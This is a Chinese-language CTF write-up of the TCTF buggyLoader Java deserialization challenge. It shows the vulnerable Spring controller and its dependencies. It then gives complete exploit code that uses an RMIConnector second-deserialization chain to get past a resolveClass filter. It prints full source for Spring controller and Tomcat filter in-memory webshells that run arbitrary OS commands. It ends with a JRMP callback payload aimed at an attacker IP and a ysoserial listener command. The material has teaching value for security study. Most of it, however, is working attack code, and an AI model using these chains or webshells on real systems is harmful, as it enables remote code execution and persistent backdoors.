针对resolveClass绕过的RMIConnector二次反序列化利用链
1315609050541697 发表于 湖北 CTF 605浏览 · 2024-09-05 03:18

最近复现了TCTF buggyLoader的压轴java反序列化题目,坑点较多,并有解决在resolveClass中使用classLoader.loadClass()的RMIConnector二次反序列化利用链绕过,并介绍另一种出网下的JRMP利用

RMIConnector二次反序列化链

主要逻辑源码

package com.yxxx.javasec.deserialize;

import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;

@Controller
/* loaded from: IndexController.class */
public class IndexController {
    @RequestMapping({"/basic"})
    public String greeting(@RequestParam(name = "data", required = true) String data, Model model) throws Exception {
        ObjectInputStream objectInputStream = new MyObjectInputStream(new ByteArrayInputStream(Utils.hexStringToBytes(data)));
        String name = objectInputStream.readUTF();
        int year = objectInputStream.readInt();
        if (!name.equals("SJTU") || year != 1896) {
            return "index";
        }
        objectInputStream.readObject();
        return "index";
    }
}

pom.xml

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>
    <parent>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-parent</artifactId>
        <version>2.4.4</version>
        <relativePath/> <!-- lookup parent from repository -->
    </parent>
    <groupId>com.example</groupId>
    <artifactId>demo</artifactId>
    <version>0.0.1-SNAPSHOT</version>
    <name>javaDeserializeLabs</name>
    <description>javaDeserializeLabs</description>
    <properties>
        <java.version>1.8</java.version>
    </properties>
    <dependencies>
        <dependency>
            <groupId>rome</groupId>
            <artifactId>rome</artifactId>
            <version>1.0</version>
        </dependency>

        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-thymeleaf</artifactId>
        </dependency>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
        </dependency>

        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-test</artifactId>
            <scope>test</scope>
        </dependency>

        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.1</version>
        </dependency>
        <dependency>
            <groupId>org.javassist</groupId>
            <artifactId>javassist</artifactId>
            <version>3.19.0-GA</version>
        </dependency>
    </dependencies>

    <build>
        <plugins>
            <plugin>
                <groupId>org.springframework.boot</groupId>
                <artifactId>spring-boot-maven-plugin</artifactId>
            </plugin>
        </plugins>
    </build>

</project>

在 docker-compose.yml 中设置的网络隔离导致 JRMP 无法利用。然而,尽管进行了网络隔离,反序列化过程中的重写仍然限制了非 Java 原生类的使用,这意味着不能使用包含 Transform 对象数组的链。网络隔离加上对数组使用的限制表明,最好采用二次反序列化绕过的方法。

可以看到重写了resolveClass方法

使用了URLClassLoader.loadClass()而非默认的Class.forName()去加载类,两者主要的不同点在于URLClassLoader.loadClass()不能够加载数组

这样的waf导致我们很多的payload都无法使用了,在CC链中我们的sink(终点)实际上只有2个,一个是利用TemplatesImpl类实现任意java代码执行,一个是利用ChainedTransformer类链式调用实现任意命令执行,但是这两者在这道题都没办法使用,前者使用了byte[][],而后者则使用了Transformer[]

假如无法使用 ChainedTransformer 类实现链式调用,我们还可以选择其他 Transformer 类。这里我们将重点放在 InvokerTransformer 类,它可以调用任意实例的任意方法。

然而,我们发现 InvokerTransformer 类的第二个和第三个参数都是数组,分别表示方法的参数类型和参数值。由于我们无法反序列化数组,这两个参数必须为 null。换句话说,我们只能调用任意实例的无参数方法。

现在我们重新考虑解题:在不使用 JNDI 的情况下,是否存在一个类(且该类的属性中没有数组),并有一个无参数的方法,最终能够实现二次反序列化?

我们找到了javax.management.remote.rmi.RMIConnector这个类

RMIConnector链子调试分析

看到RMIConnector.findRMIServerJRMP方法

这里对传入的 base64 反序列化,往上找看看哪里调用了这个方法,在findRMIServer方法中,如果 path 以 /stub/开头,就会调用findRMIServerJRMP


继续往上找,在该类的 public 方法connect中看到调用findRMIServer并且传入 jmxServiceURL 参数,要求 rmiServer 为 null

查找一下RMIConnector的利用

JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi://");  
setFieldValue(jmxServiceURL, "urlPath", "/stub/base64string");  
RMIConnector rmiConnector = new RMIConnector(jmxServiceURL, null);

接下来我们只要能调用它的connect方法就可以了,这条链在resolveClass方法被重写时利用的很多所以对二次反序列化的绕过非常有帮助

直接打RMIConnector 这条链
Exp

package com.yxxx.javasec.deserialize;  

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;  
import javassist.ClassPool;  
import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ConstantTransformer;  
import org.apache.commons.collections.functors.InvokerTransformer;  
import org.apache.commons.collections.keyvalue.TiedMapEntry;  
import org.apache.commons.collections.map.LazyMap;  
import EXP.SpringControllerMemShell3;  

import javax.management.remote.JMXServiceURL;  
import javax.management.remote.rmi.RMIConnector;  
import java.io.ByteArrayOutputStream;  
import java.io.ObjectOutputStream;  
import java.lang.reflect.Field;  
import java.util.Base64;  
import java.util.HashMap;  
import java.util.Map;  

public class Exp {  
    public static void setFieldValue(Object obj,String fieldname,Object value)throws Exception{  
        Field field = obj.getClass().getDeclaredField(fieldname);  
        field.setAccessible(true);  
        field.set(obj,value);  
    }  

    public static HashMap getObject() throws Exception{  
        //cc6的HashMap链  
        TemplatesImpl obj = new TemplatesImpl();  
        setFieldValue(obj, "_bytecodes", new byte[][]{ClassPool.getDefault().get( SpringControllerMemShell3.class.getName()).toBytecode()});  
        setFieldValue(obj, "_name", "a");  
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());  

        Transformer transformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});  

        HashMap<Object, Object> map = new HashMap<>();  
        Map<Object,Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));  
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, obj);  


        HashMap<Object, Object> expMap = new HashMap<>();  
        expMap.put(tiedMapEntry, "test");  
        lazyMap.remove(obj);  

        setFieldValue(lazyMap,"factory", transformer);  

        return expMap;  
    }  
    public static String bytesTohexString(byte[] bytes) {  
        //题目要求16进制  
        if (bytes == null)  
            return null;  
        StringBuilder ret = new StringBuilder(2 * bytes.length);  
        for (int i = 0; i < bytes.length; i++) {  
            int b = 0xF & bytes[i] >> 4;  
            ret.append("0123456789abcdef".charAt(b));  
            b = 0xF & bytes[i];  
            ret.append("0123456789abcdef".charAt(b));  
        }  
        return ret.toString();  
    }  

    public static void main(String[] args) throws Exception {  
        //获取exp的base64编码  
        ByteArrayOutputStream tser = new ByteArrayOutputStream();  
        ObjectOutputStream toser = new ObjectOutputStream(tser);  
        toser.writeObject(getObject());  
        toser.close();  

        String exp= Base64.getEncoder().encodeToString(tser.toByteArray());  

        //创建恶意的RMIConnector  
        JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi://");  
        setFieldValue(jmxServiceURL, "urlPath", "/stub/"+exp);  
        RMIConnector rmiConnector = new RMIConnector(jmxServiceURL, null);  

        //使用InvokerTransformer 调用 connect 方法  
        InvokerTransformer invokerTransformer = new InvokerTransformer("connect", null, null);  

        HashMap<Object, Object> map = new HashMap<>();  
        Map<Object,Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));  
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, rmiConnector);  

        HashMap<Object, Object> expMap = new HashMap<>();  
        expMap.put(tiedMapEntry, "test");  
        lazyMap.remove(rmiConnector);  

        setFieldValue(lazyMap,"factory", invokerTransformer);  

        //序列化  
        ByteArrayOutputStream baos = new ByteArrayOutputStream();  
        ObjectOutputStream oos = new ObjectOutputStream(baos);  
        oos.writeUTF("SJTU");  
        oos.writeInt(1896);  
        oos.writeObject(expMap);  
        oos.close();  
        System.out.println(bytesTohexString(baos.toByteArray()));  
    }  
}

不出网打spring内存马

package EXP;  
import com.sun.org.apache.xalan.internal.xsltc.DOM;  
import com.sun.org.apache.xalan.internal.xsltc.TransletException;  
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;  
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;  
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;  
import org.springframework.stereotype.Controller;  
import org.springframework.web.bind.annotation.RequestMapping;  
import org.springframework.web.context.WebApplicationContext;  
import org.springframework.web.context.request.RequestContextHolder;  
import org.springframework.web.context.request.ServletRequestAttributes;  
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;  
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;  
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;  
import javax.servlet.http.HttpServletRequest;  
import javax.servlet.http.HttpServletResponse;  
import java.io.IOException;  
import java.io.PrintWriter;  
import java.lang.reflect.Method;  


/**  

  * 适用于 SpringMVC+Tomcat的环境,以及Springboot 2.x 环境.  

  *  因此比 SpringControllerMemShell.java 更加通用  

  *  Springboot 1.x 和 3.x 版本未进行测试  

  */  
@Controller  

public class SpringControllerMemShell3 extends AbstractTranslet {  



  public SpringControllerMemShell3() {  

    try {  

      WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);  

      RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);  

      Method method2 = SpringControllerMemShell3.class.getMethod("test");  

      RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();  



      Method getMappingForMethod = mappingHandlerMapping.getClass().getDeclaredMethod("getMappingForMethod", Method.class, Class.class);  

      getMappingForMethod.setAccessible(true);  

      RequestMappingInfo info =  

          (RequestMappingInfo) getMappingForMethod.invoke(mappingHandlerMapping, method2, SpringControllerMemShell3.class);  



      SpringControllerMemShell3 springControllerMemShell = new SpringControllerMemShell3("aaa");  

      mappingHandlerMapping.registerMapping(info, springControllerMemShell, method2);  

    } catch (Exception e) {  
    }  

  }  



  @Override  

  public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {  

  }  

  @Override  

  public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {  

  }  



  public SpringControllerMemShell3(String aaa) {  

  }  

  @RequestMapping("/malicious")  

  public void test() throws IOException {  
    HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();  
    HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();  
    try {  
      String arg0 = request.getParameter("cmd");  
      PrintWriter writer = response.getWriter();  
      if (arg0 != null) {  
        String o = "";  
        ProcessBuilder p;  

        if (System.getProperty("os.name").toLowerCase().contains("win")) {  

          p = new ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});  
        } else {  
          p = new ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});  
        }  

        java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");  
        o = c.hasNext() ? c.next() : o;  
        c.close();  
        writer.write(o);  
        writer.flush();  
        writer.close();  
      } else {  
        response.sendError(404);  
      }  

    } catch (Exception e) {  

    }  

  }  

}

也可以打Tomcat Filter内存马

package com.example.demo;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.Context;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;

import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Map;

public class TomcatFilterMemShellFromThread extends AbstractTranslet implements Filter {
    static {
        try {
            final String name = "MyFilterVersion" + System.nanoTime();
            final String URLPattern = "/*";

            WebappClassLoaderBase webappClassLoaderBase =
                    (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
            StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();

            Class<? extends StandardContext> aClass = null;
            try {
                aClass = (Class<? extends StandardContext>) standardContext.getClass().getSuperclass();
                aClass.getDeclaredField("filterConfigs");
            } catch (Exception e) {
                aClass = (Class<? extends StandardContext>) standardContext.getClass();
                aClass.getDeclaredField("filterConfigs");
            }
            Field Configs = aClass.getDeclaredField("filterConfigs");
            Configs.setAccessible(true);
            Map filterConfigs = (Map) Configs.get(standardContext);

            TomcatFilterMemShellFromThread behinderFilter = new TomcatFilterMemShellFromThread();

            FilterDef filterDef = new FilterDef();
            filterDef.setFilter(behinderFilter);
            filterDef.setFilterName(name);
            filterDef.setFilterClass(behinderFilter.getClass().getName());
            /**
             * 将filterDef添加到filterDefs中
             */
            standardContext.addFilterDef(filterDef);

            FilterMap filterMap = new FilterMap();
            filterMap.addURLPattern(URLPattern);
            filterMap.setFilterName(name);
            filterMap.setDispatcher(DispatcherType.REQUEST.name());

            standardContext.addFilterMapBefore(filterMap);

            Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
            constructor.setAccessible(true);
            ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);

            filterConfigs.put(name, filterConfig);
        } catch (Exception e) {
//            e.printStackTrace();
        }
    }


    @Override
    public void init(FilterConfig filterConfig) throws ServletException {

    }

    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        HttpServletRequest req = (HttpServletRequest) servletRequest;
        if (req.getParameter("c") != null){
            Process process = new ProcessBuilder("bash","-c",req.getParameter("cmd")).start();

            BufferedReader br = new BufferedReader(new InputStreamReader(process.getInputStream()));
            String line = null;
            StringBuffer sb = new StringBuffer();
            while ((line = br.readLine()) != null){
                sb.append(line + System.getProperty("line.separator"));
            }

            servletResponse.getWriter().write(new String(sb));
            process.destroy();
            return;
        }
        filterChain.doFilter(servletRequest,servletResponse);
    }

    @Override
    public void destroy() {

    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

出网情况下的JRMP利用链

题目使用jdk8u222。 jdk8u121之后java增加了JEP 290的防御机制,其又小于8u313。所以说使用ysoserial的rmi利用链就可以直接打

知识点 JRMP
JRMP协议(Java Remote Message Protocol):RMI专用的Java远程消息交换协议。
JRMPListener 端口为我们自定义,因为UnicastRemoteObject 的构造方法都是protected修饰的,所以要利用反射进行实例化并将属性port的值设为我们写入的端口

出网情况下,我们很容易想到JRMP/RMI那一套,也就是让服务端反序列化一个JRMPClient,向我们恶意的Registry发送请求,触发二次反序列化。
pom.xml中的依赖中有CC3.2.1 出网情况下的靶机开启客户端jrmp,让其访问攻击机的jrmp服务器端并执行恶意的反序列化。
我们需要写一个jrmp客户端

JRMPClient.java

public static void main ( final String[] args ) throws Exception {  
    ObjID id = new ObjID(new Random().nextInt()); // RMI registry  
    //vps:port
    TCPEndpoint te = new TCPEndpoint("192.168.240.176", 23333);  
    UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));  
    RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);  
    Registry proxy = (Registry) Proxy.newProxyInstance(Exp.class.getClassLoader(), new Class[] {  
            Registry.class  
    }, obj);  
    ByteArrayOutputStream barr = new ByteArrayOutputStream();  
    ObjectOutputStream oos= new ObjectOutputStream(barr);  
    oos.writeUTF("SJTU");  
    oos.writeInt(1896);  
    oos.writeObject(proxy);  
    oos.close();  
    System.out.println(Utils.bytesTohexString(barr.toByteArray()));  

}
  • vps启动yso JRMPServer

然后使用CC6来构造payload二次反序列化
命令如下

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 23333 CommonsCollections6 "touch /tmp/success"

Exp源码如下

package com.yxxx.javasec.deserialize;  


import sun.rmi.server.UnicastRef;  
import sun.rmi.transport.LiveRef;  
import sun.rmi.transport.tcp.TCPEndpoint;  

import java.io.ByteArrayOutputStream;  
import java.io.ObjectOutputStream;  
import java.lang.reflect.Proxy;  
import java.rmi.registry.Registry;  
import java.rmi.server.ObjID;  
import java.rmi.server.RemoteObjectInvocationHandler;  
import java.util.Random;  

public class Exp3 {  
 public static void main(String[] args) throws Exception {  
 ObjID id = new ObjID(new Random().nextInt()); // RMI registry  
 TCPEndpoint te = new TCPEndpoint("ip", 23333);  
 UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));  
 RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);  
 Registry proxy = (Registry) Proxy.newProxyInstance(Exp3.class.getClassLoader(), new Class[]{  
 Registry.class  
 }, obj);  

 ByteArrayOutputStream barr = new ByteArrayOutputStream();  
 ObjectOutputStream oos = new ObjectOutputStream(barr);  
 oos.writeUTF("SJTU");  
 oos.writeInt(1896);  
 oos.writeObject(proxy);  
 oos.close();  

 System.out.println(Utils.bytesTohexString(barr.toByteArray()));  
 }  
}
0 条评论
某人
表情
可输入 255